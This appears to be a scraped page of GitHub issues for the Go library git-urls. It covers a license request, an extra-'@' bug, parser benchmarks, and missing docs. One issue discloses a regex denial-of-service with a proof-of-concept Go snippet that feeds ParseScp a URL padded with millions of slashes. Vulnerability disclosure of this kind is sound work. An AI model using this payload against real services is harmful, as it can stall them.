Docs: https://pkg.go.dev/github.com/whilp/git-urls?tab=overview
whilp / git-urls Goto Github PK
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Home Page: http://godoc.org/github.com/whilp/git-urls
License: MIT License
git-urls parses git URLs
Home Page: http://godoc.org/github.com/whilp/git-urls
License: MIT License
Thank you for making this library. It looks like it does just what I was looking for. Would you be willing to add a license file?
If you parse a git URL without Userinfo
and then convert it back to string you get an extra "@" symbol.
Consider the following code:
parsed, err := giturls.Parse("https://github.com/whilp/git-urls")
if err != nil {
log.Fatal(err)
}
fmt.Println("Url with extra '@':", parsed.String())
parsed.User = nil // set userinfo to nil
fmt.Println("Correct url:", parsed.String())
Output:
Url with extra '@': https://@github.com/whilp/git-urls
Correct url: https://github.com/whilp/git-urls
Full runnable code: https://github.com/curusarn/go-git-urls-issue/blob/master/main.go
Are there any drawbacks to setting Userinfo
to nil
?
Per @anachronistic:
so - i did a couple of benchmarks on the lib and found differing speeds + heap allocations depending on the incoming string
and i believe that it's possible to 1) normalize the speed to within reason (i.e. longer strings will naturally take a bit longer to parse), 2) normalize the allocations (i believe you can produce a 0 allocation lib if you write the parser yourself)
i did a shit proof of concept and for local paths i had it down to 150ns / 0 allocations by having aParse
method that accepts a pointer to anet.URL
structure ... exfunc Parse(url string, handle *net.URL) error { ... }
that was leaning mostly onstrings.Index
which reports first appearance of a pattern, so ex.colon := strings.Index(url, ":") ... slash := strings.Index(url, "/") ... return colon == -1 || (slash & slash > colon)
sofile:///whatever
and/foo/bar/whatever
returnedtrue
very quickly
it gets a touch more complicated from there, but yeah: that's my challenge to you ... normalized speed (for some reasonable definition of normalized compared to string length) and 0 allocations (or at most 1 if you don't like the C-style of passing in the structure)
Currently, it's not possible to view the docs at https://pkg.go.dev/github.com/whilp/git-urls?tab=overview.
This should be fixable by adding a LICENSE file.
The regex on line 35. inside urls.go is vulnerable to regex denial of service when a long input is provided inside directory path of the git url. I managed to cause a 7s delay but only because the payload in the url was to long. Here is the PoC:
var payload = strings.Repeat("////", 19000000) //payload used, the number can be tweaked to cause 7 second delay
malicious_url := "6en6ar@-:0////" + payload + "\"
begin := time.Now()
//u, err := giturls.ParseScp("[email protected]:/remote/directory")// normal git url
_, err := giturls.ParseScp(malicious_url)
if err != nil {
fmt.Errorf("[ - ] Error ->" + err.Error())
}
//fmt.Println("[ + ] Url --> " + u.Host)
elapse := time.Since(begin)
fmt.Printf("Function took %s", elapse)
There is an open vulnerability on the repo and looks like no one is maintaining the repo. There are forks available that has the fix. Should archive the repo.
parsing invalid URLs doesn't return errors e.g.
u, err := giturls.Parse("https:/lala")
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